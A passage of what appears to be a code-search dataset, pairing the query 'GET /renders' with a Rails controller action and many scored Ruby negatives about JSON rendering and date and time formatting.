"def calculate_remaining_time\n expiry_time = expires_at.to_i\n current_time = DateTime.now.to_i\n if current_time < expiry_time\n message = ActiveSupport::Duration.build(expiry_time - current_time).parts\n duration = ''\n duration += \"#{message[:days]} day/s \" if message[:days] > 0\n duration += \"#{message[:hours]} hour/s \" if message[:hours] > 0\n duration += \"#{message[:minutes]} minute/s\" if message[:minutes] > 0\n duration\n end\n end",
"def keep_alive_time=(_arg0); end",
"def timer=(_arg0); end",
"def timer=(_arg0); end",
"def timer=(_arg0); end",
"def timer=(_arg0); end",
"def current_timer=(_arg0); end",
"def worker_check_interval(interval); end",
"def trial_days_remaining\n days_elapsed = (Time.now.to_i - self.trial_started_at.to_i) / 60 / 60 / 24\n remaining = APP_CONFIG['trial_length'] - days_elapsed\n remaining = 0 if remaining < 0\n remaining\n end",
"def cycle_time\n if completed_at && started_at\n completed_at - started_at\n else\n 0.0\n end\n end",
"def -(seconds); end",
"def remaining_hours\n \n end",
"def countdown()\n puts()\n puts(\"Initiating coutdown: \")\n puts(\"Input a whole number\")\n x = gets.chomp.to_i\n\n until x <= 0 # does loop unitl it becomes true! replace \"=\" with \"<=\" to not include zero as puts() output\n puts x\n x -= 1\n end\n\n puts \"Done!\"\nend"
] |
[
"0.69358623",
"0.6861365",
"0.68275356",
"0.6781",
"0.67202926",
"0.66190976",
"0.6618744",
"0.6555036",
"0.6509066",
"0.6447609",
"0.64395577",
"0.6421112",
"0.6391356",
"0.6383833",
"0.637979",
"0.63741124",
"0.62832797",
"0.6275088",
"0.6268035",
"0.6242317",
"0.6239234",
"0.6238791",
"0.6226138",
"0.62144905",
"0.6213353",
"0.62066597",
"0.6202088",
"0.61954546",
"0.6158523",
"0.6158523",
"0.6158523",
"0.614914",
"0.61453974",
"0.61430347",
"0.61383706",
"0.61082864",
"0.6077511",
"0.60579956",
"0.60571915",
"0.6049034",
"0.60444933",
"0.60444933",
"0.6022125",
"0.6020257",
"0.6019481",
"0.6010285",
"0.5994794",
"0.59941566",
"0.5985381",
"0.5985033",
"0.5985033",
"0.5985033",
"0.5985033",
"0.59833866",
"0.59820247",
"0.59820247",
"0.5970699",
"0.59533954",
"0.59233636",
"0.59010345",
"0.5899549",
"0.5878068",
"0.5869946",
"0.58628213",
"0.58420634",
"0.58017987",
"0.5788654",
"0.5776048",
"0.57758576",
"0.57568103",
"0.5752059",
"0.5752059",
"0.57465875",
"0.5727732",
"0.5727346",
"0.5727346",
"0.5718817",
"0.57071716",
"0.57071346",
"0.569472",
"0.5681558",
"0.56805414",
"0.56797004",
"0.56653935",
"0.5661223",
"0.5623508",
"0.5623508",
"0.5619995",
"0.5613037",
"0.5598506",
"0.5598506",
"0.5598506",
"0.5598506",
"0.5595702",
"0.55784374",
"0.5577706",
"0.5554252",
"0.55520403",
"0.55434155",
"0.55392313"
] |
0.5719216
|
76
|
GET /renders GET /renders.json
|
def index
@slug = params[:slug]
@page = Page.where(:slug => @slug).includes(:page_component).first
@components = Hash.new
@page.page_component.each_with_index do |component, index|
props_hash = Hash.new
component.component_content.each_with_index do |prop, prop_index|
props_hash.merge!({prop.name => prop.value})
# component_props.push(props_hash)
end
@components[@page.page_component[index].react_component.component_name] = props_hash
end
render "renders/index"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def renders\n @_renders ||= {}\n end",
"def get_render_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RenderApi#get_render ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_render\" if id.nil?\n \n # resource path\n path = \"/render/{id}\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['DeveloperKey']\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RenderResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RenderApi#get_render\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end",
"def get_render(id, opts = {})\n data, status_code, headers = get_render_with_http_info(id, opts)\n return data\n end",
"def index\n @usages = get_usages\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usages }\n end\n end",
"def index\n\n @offers = Offer.order(:id)\n\n render( {json: @offers}.merge set_render_options )\n\n end",
"def view\n res = @client.get(path)\n @attributes = res.json if res.success?\n end",
"def index\n @renderers = Renderer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @renderers }\n end\n end",
"def index\n respond_with(@collection) do |format|\n format.html\n format.json { render :json => json_data }\n end\n end",
"def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: StatType::ALL }\n end\n end",
"def index\n @offers = Offer.all\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n format.html { @offers }\n end\n end",
"def index\n @shots = Shot.all\n\n render json: @shots\n end",
"def index\n @games = Game.available\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n render 'post'\n respond_to :json\n end",
"def index\n render json: @links\n end",
"def show\n respond_to do |format|\n format.json\n format.json_api { render json: @material }\n format.html\n end\n end",
"def render_get\n respond_to do |wants|\n wants.html {render :to_xml => 'GET.xml.builder', :layout => false}\n wants.xml {render :to_xml => 'GET.xml.builder', :layout => false}\n wants.json {render :to_json => 'GET.xml.builder'}\n wants.yaml {render :to_yaml => 'GET.xml.builder'}\n end\n \n end",
"def index\n render json: RequestItem.all\n end",
"def show\n render json: @specification, serializer: Web::V1::SpecificationSerializer\n end",
"def index\n @rooms = Room.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rooms }\n end\n end",
"def show\n #Benchmark.bm( 20 ) do |bm|\n # bm.report( \"Access JSON:\" ) do\n # end\n #end\n #binding.pry\n respond_to do |format|\n format.html do\n render :show,\n locals: { memory: @memory.jsonize(externals: { events: @events.jsonize }),\n cloud: @calendary_cloud.jsonize }\n end\n format.json { render json: @memory.jsonize(externals: { events: @events.jsonize }) }\n end\n end",
"def index\n @weapons = Weapon.all\n\n render json: @weapons\n end",
"def index\n @textures = Texture.find(:all, :limit => 20, :order=> 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @textures }\n end\n end",
"def show\n render 'show.json'\n end",
"def show\n render 'show.json'\n end",
"def index\n @heights = Height.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @heights }\n end\n end",
"def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json do\n stats = @mode.stats.map(&:to_simple)\n render json: stats, status: :ok\n end\n end\n end",
"def show\n render json: @shot\n end",
"def index\n @items = Item.found\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @stats = Stat.all\n @stat = Stat.new\n render html: @stats, json: @stats\n # respond_to do |format|\n # format.html\n # format.json\n # end\n end",
"def index\n render json: reservations\n end",
"def show\n render json: @stat\n end",
"def test_render_using_implicit_serializer\n get :render_using_implicit_serializer\n\n assert_equal 'application/json', @response.content_type\n assert_equal '{\"name\":\"Name 1\",\"description\":\"Description 1\"}', @response.body\n end",
"def index\n @shots = Shot.all\n respond_with @shots\n end",
"def index\n @resources = Resource.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resources }\n end\n end",
"def index\n @enzymes = Enzyme.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enzymes }\n end\n end",
"def index\n @passes = Pass.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @passes }\n end\n end",
"def index\n @beverages = Beverage.all.to_a\n respond_to do |format|\n format.html { STDERR.puts \"INDEX....\"; render :index }\n format.json { STDERR.puts \"JSON....\"; render json: @beverages }\n end\n end",
"def index\n @game_watches = GameWatch.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game_watches }\n end\n end",
"def render_sports_teams\n render json: SportsTeamsSerializer.new(@sports_data).to_serialized_json\n end",
"def render_json\n end",
"def index\n @screenshots = Screenshot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @screenshots }\n end\n end",
"def index\n @drawables = Drawable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @drawables }\n end\n end",
"def index\n respond_to do |format|\n format.html { render action: 'index' } # index.html.erb\n format.json do\n out = meetings.per(500).map(&:to_json_attributes)\n out.each { |m| m[:url] = meeting_path(m[:url]) }\n render json: out\n end\n format.xml { render xml: meetings }\n end\n end",
"def index\n @rooms = Room.all\n respond_to do | format |\n format.html\n format.json\n end\n \n end",
"def index\n @screens = Screen.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @screens }\n end\n end",
"def index\n @requests = Request.all\n\n render json: @requests\n end",
"def index\n index! do |format|\n format.html\n format.json do\n object = if params[:id]\n resource.increment_hits!\n resource\n else\n collection\n end\n\n render :json => object \n end\n end\n end",
"def index\n @rules = Rule.all\n render_for_api :public, :json => @rules\n end",
"def index\n render json: usage(params[:type])\n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def index\n @title = 'Tables'\n @tables = Table.all\n\n respond_to do |format|\n format.html {\n @tables_rabl = Rabl.render(@tables, 'tables/index', view_path: 'app/views', format: 'json')\n @guests_rabl = Rabl.render(Guest.attending, 'tables/guests', view_path: 'app/views', format: 'json')\n }\n format.json { render json: @tables }\n end\n end",
"def index\n\n get_collections\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @temples }\n format.js {}\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asset }\n end\n end",
"def show\n respond_to do |wants|\n wants.html\n wants.json\n wants.jsonld { render body: export_as_jsonld, content_type: 'application/ld+json' }\n wants.nt { render body: export_as_nt, content_type: 'application/n-triples' }\n wants.ttl { render body: export_as_ttl, content_type: 'text/turtle' }\n end\n end",
"def show\n respond_to do |wants|\n wants.html\n wants.json\n wants.jsonld { render body: export_as_jsonld, content_type: 'application/ld+json' }\n wants.nt { render body: export_as_nt, content_type: 'application/n-triples' }\n wants.ttl { render body: export_as_ttl, content_type: 'text/turtle' }\n end\n end",
"def index\n @places = Place.all\n render json: { places: @places }, methods: [:reviews, :visit_ids, :image_url_large]\n # render json: @places, methods: :reviews # return a place object not a places object as above\n end",
"def index\n\n get_collections\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deities }\n format.js {}\n end\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.json { render :json => @requests}\n end\n end",
"def render\n render_background\n\n render_heat_maps\n\n render_star\n render_target\n render_hills\n render_walls\n\n render_paths\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @reserve_stat_has_manifestation }\n end\n end",
"def index\n render_json content: Review.all\n end",
"def index\n\t\t@rooms = Room.order(updated_at: :desc)\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @rooms }\n\t\tend\n\tend",
"def index\n @offers = Offer.all\n\n render json: @offers\n end",
"def index\n @resources = Resource.eager_load(:resource_type).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resources }\n end\n end",
"def index\n @shoes = Shoe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shoes }\n end\n end",
"def index\n @widgets = Widget.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @widgets }\n end\n end",
"def index\n @contenders = Contender.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contenders }\n end\n end",
"def show\n render json: serialize(read_resource(resource), options), status: :ok\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tenders }\n end\n end",
"def getJson\n render json: getData()\n end",
"def index\n @calls = Call.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @calls }\n end\n end",
"def index\n @devices = Device.all\n render json: @devices\n end",
"def index\n @offers = Offer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end",
"def show\n render json: @weapon\n end",
"def show\n render json: @todo\n end",
"def show\n render json: @todo\n end",
"def index\n\t\t@assets = Asset.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html #index.html.erb\n\t\t\tformat.json { render json: @assets }\n\t\tend\n\tend",
"def index\n respond_to do |format|\n format.html\n format.json { render :json => Item.all}\n end\n\n end",
"def index\n reviews = Review.all\n render json: reviews\n end",
"def index\n reviews = Review.all\n render json: reviews\n end",
"def index\n @game_systems = GameSystem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game_systems }\n end\n end",
"def show\n render json: @collection\n end",
"def show\n render json: @paper\n end",
"def show\n render json: @game\n end",
"def accessories\n render json: { collections: Collection.published_accessories }\n end",
"def index\n render json: Story.all\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @seat_manufacturers }\n end\n end",
"def index\n # binding.pry\n respond_to do |format|\n format.html do\n render :index,\n locals: {\n memoes: @memoes.jsonize(context),\n total: @memoes.total_size,\n cloud: @calendary_cloud.jsonize\n }\n end\n format.json do\n render plain: {\n list: @memoes.jsonize(context),\n page: @page,\n total: @memoes.total_size\n }.to_json(context)\n end\n end\n end",
"def show\n render json: @measure\n end",
"def index\n game = Game.all\n\n render json: game, include: :teams\n end",
"def index\n @activities = Activity.all\n render json: @activities\n end",
"def index\n\t\t@teams = Team.all\n\t\trender '/teams/index.json.jbuilder'\n\tend",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end",
"def index\n @matches = Match.all\n @recent = Match.recent\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @matches }\n end\n end",
"def index\n @teaches = Teach.all\n\t\trespond_to do |format|\n\t\t\tformat.html { render :index }\n\t\t\tformat.json { render json: Oj.dump(@teaches) }\n\t\tend\n\n end",
"def index\n conditions = { :client_id => @client.id }\n if params[\"tags\"]\n conditions.merge!({:tags => params[\"tags\"]})\n end\n\n @collections = Collection.where(conditions).order('updated_at DESC')\n @collections.reject! { |item| ! item.read?(@user, @client) }\n\n entries = Array.new\n if @collections\n @collections.each do |item|\n entries << item.info_hash(@user, @client)\n end\n end\n render_json :entry => entries and return\n end",
"def index\n @layers = Layer.order(:id)\n\n respond_to do |format|\n format.html # index.html.erb\n # example output:\n # {\"layers\":[{\"id\":14,\"name\":\"coutries\",\"number_of_polygons\":279}]}\n format.json { render json: {layers: @layers.map {|layer| {id: layer.id, name:layer.name, number_of_polygons: layer.areas.count}}} }\n end\n end",
"def index\n respond_with(@collection) do |format|\n format.json { render :json => @collection.to_json(collection_serialization_options) }\n end\n end",
"def render_collection( resources, presenter: nil, pagination: :auto, **context, &block )\n render json: json_collection( resources, presenter, pagination: pagination, **context, &block )\n end",
"def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end"
] |
[
"0.65371275",
"0.64774287",
"0.64562863",
"0.6390929",
"0.635654",
"0.63530034",
"0.6314059",
"0.6221889",
"0.62100387",
"0.620491",
"0.6152918",
"0.6137841",
"0.6116287",
"0.6108881",
"0.60920453",
"0.6078564",
"0.60766464",
"0.60678875",
"0.6041831",
"0.6027102",
"0.60236835",
"0.59916514",
"0.5988403",
"0.59850353",
"0.59850353",
"0.59795606",
"0.59716576",
"0.59706557",
"0.5958774",
"0.59547216",
"0.59517354",
"0.5951215",
"0.5948339",
"0.59482706",
"0.59390074",
"0.59366006",
"0.59349054",
"0.5932769",
"0.59310925",
"0.59287095",
"0.592835",
"0.59272987",
"0.5925206",
"0.592369",
"0.59216315",
"0.5917117",
"0.59150755",
"0.5905643",
"0.59014875",
"0.59010166",
"0.58996594",
"0.58933973",
"0.58927417",
"0.58926076",
"0.5889501",
"0.5889501",
"0.58843476",
"0.58813626",
"0.5879814",
"0.58797926",
"0.5878523",
"0.5874959",
"0.5873094",
"0.58717614",
"0.5871098",
"0.5863355",
"0.5862481",
"0.58616763",
"0.58595294",
"0.5858637",
"0.5852514",
"0.5850591",
"0.58488727",
"0.58486176",
"0.5847024",
"0.58406615",
"0.58406615",
"0.58387953",
"0.5825378",
"0.58249116",
"0.58249116",
"0.5823226",
"0.5822132",
"0.58191663",
"0.58184487",
"0.58179885",
"0.58164483",
"0.581547",
"0.5815335",
"0.581372",
"0.5811901",
"0.58113396",
"0.58109456",
"0.5810557",
"0.58098596",
"0.5804542",
"0.5803299",
"0.5801092",
"0.5799028",
"0.5795885",
"0.57898146"
] |
0.0
|
-1
|
Date: May 23, 2010 Time: 4:04:33 AM
|
def run_tests
File.open "output_CC.txt", "w" do |output|
File.open "C-small-practice.in" do |input|
number_of_tests = input.gets.to_i
number_of_tests.times do |test_number|
test = input.gets.chomp.split /\s+/, 2
m = test[0].to_i
n = test[1].to_i
board = []
m.times do |line|
board[line] = input.gets.chomp.to_i(16).to_s(2).rjust(n, '0')
end
result = solve board, m, n
puts "Case ##{test_number + 1}: #{result}"
p result
output.puts "Case ##{test_number + 1}: #{result.keys.size}"
result.keys.sort.reverse.each do |key|
output.puts "#{key} #{result[key]}"
end
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def FormatTimesDates\n\ttime = Time.new\n\tputs time.to_s\n\tputs time.ctime\n\tputs time.localtime\n\tputs time.strftime(\"%Y-%m-%d %H:%M:%S\")\n\tputs time.strftime(\"%d/%m/%Y\")\nend",
"def detail_date( date )\n date.strftime( '%H:%M - %b %d, %Y')\n end",
"def date; end",
"def date; end",
"def date; end",
"def date; end",
"def get_inspection_date\n date.strftime(\"%B %d, %Y, %I:%M %p\")\n end",
"def friendly_time\n\t\t@event_info.each do |event_hash|\n\t\t\tdatetime = event_hash[\"datetime\"].strftime(\"%A, %d %b %Y %l:%M %p\")\t\n\t\tend\n\tend",
"def httpdate\n return \"#{self.day_name[0, 3]}, #{@t_day} #{self.month_name[0, 3]} #{@t_year} #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec} GMT\"\n end",
"def date\n Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\nend",
"def test_date_time_formatting\n\t\tskip\n\t\tobject = DateTimeStruct.new(DateTime.new(2010, 10, 5))\n\t\tpresenter = Claudia::Presenter.new object\n\t\tputs presenter.start_date\n\t\tputs presenter.start_time\n\tend",
"def date\n\t\treturn Time.at( @date[0] )\n\tend",
"def get_date()\n @time\n end",
"def time_date_hm ; time_date && time_date.strftime(\"%H:%M\") ; end",
"def get_time_placed\n self.created_at.strftime(\"%m/%d/%Y at %l:%M%p\")\n end",
"def nicetime(date)\n date.strftime(\"%b %d, %Y – %H:%M\")\n end",
"def format_date_time( dt )\n dt.strftime( \"%B %e, %Y %I:%M%p\" )\nend",
"def display_time_for_appointment\n date.strftime(\"%I:%M:%S %p, %B #{date.day.ordinalize}, %Y\")\n end",
"def display_datetime(time)\n time.strftime('%e %B, %l:%M%p')\n end",
"def test_record_activity_formats_date\n timestamp1 = Time.new(2012, 1, 31, 8, 34)\n @timelog.record_activity('Arrived', timestamp1)\n timestamp2 = Time.new(2012, 1, 31, 10, 59)\n @timelog.record_activity('Reading mail', timestamp2)\n @stream.rewind\n assert_equal([{:start_time => timestamp1, :end_time => timestamp2,\n :description => 'Reading mail'}],\n @timelog.activities)\n assert_equal(\"2012-01-31 08:34: Arrived\\n\" <<\n \"2012-01-31 10:59: Reading mail\\n\",\n @stream.read)\n end",
"def date_imf\n Date.today.strftime('%a, %d %b %Y ') + Time.now.utc.strftime('%H:%M:%S GMT')\n end",
"def get_date\n format_date DateTime.new(2011, 1, 1, 17, 9, 59)\n end",
"def car_listing_date(date_text)\n\tlisting_date = Date.parse date_text.css('time')[0]['datetime']\n\tlisting_date.to_s\nend",
"def convert_db_time(date)\n \treturn date.strftime(\"%m/%d/%Y | %I:%M %P\")\n end",
"def my_date ( time )\n\t\treturn if time.nil?\n\t\t#past_day = -2.day.from_now\n\t\tif time > -2.day.from_now\n\t\t\treturn time_ago_in_words(time)\n\t\telse\n\t\t\treturn time.strftime(\"%b %d %Y\")\n\t\tend\n\tend",
"def process_date(ddtt)\n #puts \"\\nPROCESS_DATE\"\n if(ddtt)\n text_date=\"\"\n text_date = ddtt.strftime(\"%A, %d %B, %Y at %H:%m%p\")\n return text_date\n else\n return nil\n end\nend",
"def asctime\n end",
"def format_date(date)\n am_or_pm = date.slice -2..-1\n less_stamp = date.slice(0..7)\n hour = date.slice 0..1\n hour = hour.to_i\n if am_or_pm == \"AM\"\n if hour == 12 # subtract 12\n hour = \"00\"\n puts hour << date.slice(2..7)\n else\n puts date.slice(0..7)\n end\n else\n if hour != 12\n hour = hour + 12\n hour = hour.to_s\n puts hour << date.slice(2..7)\n else\n hour = hour + 1\n hour = hour.to_s\n puts hour << date.slice(2..7)\n end\n end\nend",
"def read_date; end",
"def easy_date; date; end",
"def formattimeanddate(unformattedtime)\n unformattedtime.strftime('%I:%M:%S %p - %d %m %Y')\n end",
"def date\n tt = Time.gm(*filename_base.scan(/\\d+/))\n\n def tt.to_s\n to_formatted_s(:short_date_with_year) + \" \" + to_formatted_s(:short_time)\n end\n\n tt\n\tend",
"def date\n # self.start_time.in_time_zone(self.school.timezone).strftime('%A - %-m/%d/%y')\n \"#{self.start_time.in_time_zone(self.school.timezone).strftime('%A')}</br>#{self.start_time.in_time_zone(self.school.timezone).strftime('%-m/%d/%y')}\".html_safe()\n end",
"def show_in_strftime\n @date.strftime(\"%d/%m/%Y -- %H:%M\")\n end",
"def goth_published_date(goth)\n\t\tgoth.published_at.strftime('%b %d, %Y %H:%M')\n\tend",
"def time\n Time.parse(@data['date'])\n end",
"def email_date; strftime(EMAIL_TIME_FORMAT); end",
"def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end",
"def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end",
"def dby_date(date)\n result = \"\"\n if date != nil\n result = date.strftime(\"%d %b %Y %H:%M\")\n end\n result\n end",
"def date_time\n @message[:date_time]\n end",
"def time\n Time.now.strftime(\"%m/%d/%Y %H:%M:%S\")\n end",
"def http_date\n tp = Time.now.gmtime.to_s.split\n \"#{tp[0]}, #{tp[2]} #{tp[1]} #{tp[5]} #{tp[3]} GMT\"\n end",
"def asctime() end",
"def my_date\n Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\nend",
"def date_time\n created_at.strftime('%-m/%-d/%Y %-I:%M %P')\n end",
"def httpdate\n getutc.strftime('%a, %d %b %Y %T GMT')\n end",
"def date_format tim\n # tim.strftime '%Y/%m/%d %H:%M:%S'\n tim.strftime '%Y/%m/%d %H:%M'\nend",
"def my_date\n Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\nend",
"def datum\nt = Time.now\ndate = t.strftime(\"%y%m%d\")\nend",
"def printHTMLDateShort(tobj)\n return alStrftime(tobj,'%y-%m-%d')\n end",
"def time\n Time.now.strftime(\"%Y/%m/%d %H:%M:%S\")\n end",
"def display_date_and_time(timestamp)\n local_time(timestamp).strftime('%B %d, %Y at %l:%M %p')\n end",
"def date() self[:date]; end",
"def humanize_time(time)\n humanize_date(time.to_date) + (time.to_date.cweek == Date.today.cweek ? \" at \" + time.strftime(\"%l:%M %p\") : \"\")\n end",
"def fancy_date(date)\n h date.strftime(\"%A, %B %d, %Y\")\n end",
"def httpdate\n Time.now.httpdate\n end",
"def timestamp; end",
"def timestamp; end",
"def timestamp; end",
"def timestamp; end",
"def timestamp; end",
"def timestamp; end",
"def printHTMLDateLong(tobj)\n return alStrftime(tobj,'%B %d, %Y')\n end",
"def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end",
"def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end",
"def interesting_date\n marked_as_fast_growing_at\n end",
"def start_time_text\n if (started_at == nil)\n return \"Don't know\"\n end\n diff = started_at.yday - Time.now.yday\n sameyear = (started_at.year == Time.now.year)\n if (diff == 0 && sameyear)\n started_at.strftime(\"TODAY at %I:%M %p\")\n elsif (diff == -1 && sameyear)\n started_at.strftime(\"YESTERDAY at %I:%M %p\")\n else\n started_at.strftime(\"%A, %B %d, %Y at %I:%M %p\")\n end\n end",
"def date\n Time.now\n end",
"def timeRecordsForDate(brick, date)\n end",
"def date\n object.date.strftime('%a %b %e') rescue nil\n end",
"def dmy_date(date)\n Time.gm(date.year, date.month, date.day)\n end",
"def print_readable_date(date)\n\t\ttime_ago_in_words(date)\n\tend",
"def write_date(time)\n\t\twrite_byte(11)\n\t\twrite_double(time.to_f * 1000)\n\t\toffset = Time.zone_offset(Time.now.zone)\n\t\twrite_int16_network(offset / 60 * -1)\n\tend",
"def format_date_nicely(date)\n\tn = Time.new(2013, 10, 31)\n\tn.strftime(\"%d/%m/%Y\")\nend",
"def date\n @date\n end",
"def date\n @date\n end",
"def date_str(date)\n date.to_time.strftime('%a, %-d %b %Y %H:%M:%S %Z')\nend",
"def meeting_date\n scan_for_meeting_date\n end",
"def getDateStr\n return \"\" if @line.length < 15\n tmpStr = @line[0..14]\n begin\n DateTime.strptime(tmpStr, \"%b %d %H:%M:%S\")\n out = tmpStr\n rescue\n out = \"\"\n end\n return out \n end",
"def pretty_time\n\thour = created_at.strftime(\"%l\").to_i - 5\n\tcreated_at.strftime(\"%A, %b %d, %Y\")\nend",
"def date_published_human\n date_published.strftime(\"on %B %d, %Y at %H:%M\")\n end",
"def sighted_date\n\t\tif @sighted_date\n\t\t\t@sighted_date\n\t\telsif sighted_at\n\t\t\tsighted_at.to_date\n\t\tend\n\tend",
"def date_formatted\n Time.parse(@actioned_at).strftime(\"%c\")\n end",
"def log_date\n self.well_info.date_logged\n end",
"def date\n @date ||= Time.new\n end",
"def date\n updated_at.strftime(\"%d %b %y %H:%M\")\n end",
"def date_formate(date)\n return nil if date.blank?\n date.strftime('%m/%d/%Y %I:%M %p')\n end",
"def start_time\n self.date\n end",
"def approach_time_format\n \"%b %e, %Y %l:%M%p\"\n end",
"def get_time\n Time.new.strftime(\"%Y-%m-%d %H:%M:%S\")\n end",
"def show\n # convert timestamp string to mmddyyyy\n date = @missed_connection.post_date\n yyyy = date[0..3]\n mm = date[5..6]\n dd = date[8..9]\n @display_date = mm+'/'+dd+'/'+yyyy\n end",
"def game_date\n Time.parse(\"#{@date.strftime(\"%m/%d/%Y\")}\")\n end",
"def get_datetime_string(t)\n return t.strftime('%b %d, %Y %I:%M %p')\n end",
"def get_timestamp\n Time.now.strftime('%d %B %Y %H:%M')\n end",
"def create_date(post)\n \" created at: \" + post.created_at.strftime(\"%d %b. %Y\") + \" - \" + post.created_at.strftime(\"%H:%M\") \n end",
"def date_to_s( date = object.meeting_date )\n Format.a_date( date )\n end",
"def Current_Date_Time()\n $time_date = Time.now\n $current_time = $time_date.strftime(\"%I:%M:%S\")\n $current_date = $time_date.strftime(\"%m/%d/%Y\")\nend",
"def dateMark\n Time.now.strftime(\"%Y%m%d_%H%M%S\")\n end",
"def get_time\n created_at.strftime('%H:%M:%S %d %B %Y')\n end",
"def readable_inspect\n strftime('%a, %d %b %Y')\n end"
] |
[
"0.6478149",
"0.6454746",
"0.6383002",
"0.6383002",
"0.6383002",
"0.6383002",
"0.63566524",
"0.62891686",
"0.62356013",
"0.6136304",
"0.61299574",
"0.6124442",
"0.61162955",
"0.6115497",
"0.6110439",
"0.6103863",
"0.60918355",
"0.6090808",
"0.6083229",
"0.60692734",
"0.60663784",
"0.60391873",
"0.5990838",
"0.59836125",
"0.5976916",
"0.5972248",
"0.59622306",
"0.59560156",
"0.5951525",
"0.59412324",
"0.59402424",
"0.59397674",
"0.5935524",
"0.5930932",
"0.59040886",
"0.5893995",
"0.5890224",
"0.5886449",
"0.5886449",
"0.58779407",
"0.58687985",
"0.5866165",
"0.5846473",
"0.5842183",
"0.58414656",
"0.58357567",
"0.582974",
"0.582838",
"0.581602",
"0.5815982",
"0.58100045",
"0.5803859",
"0.58007663",
"0.5796758",
"0.57863235",
"0.5777717",
"0.5770202",
"0.57640713",
"0.57640713",
"0.57640713",
"0.57640713",
"0.57640713",
"0.57640713",
"0.57595575",
"0.5752427",
"0.5752427",
"0.57485956",
"0.5747737",
"0.57323456",
"0.57320404",
"0.5727687",
"0.5726195",
"0.5718268",
"0.57157403",
"0.5712822",
"0.570267",
"0.570267",
"0.57013595",
"0.5698147",
"0.5697557",
"0.56927085",
"0.5691243",
"0.5689426",
"0.5688904",
"0.5688094",
"0.5681307",
"0.5680087",
"0.56790227",
"0.5658024",
"0.5655738",
"0.56539065",
"0.5649962",
"0.56285894",
"0.5624238",
"0.56234556",
"0.5621217",
"0.5619156",
"0.56185603",
"0.5608889",
"0.5608027",
"0.5607488"
] |
0.0
|
-1
|
=== list Shows list of Workflows.
|
def list
Log.add_info(request, params.inspect)
@tmpl_folder, @tmpl_workflows_folder = TemplatesHelper.get_tmpl_subfolder(TemplatesHelper::TMPL_WORKFLOWS)
my_wf_folder = WorkflowsHelper.get_my_wf_folder(@login_user.id)
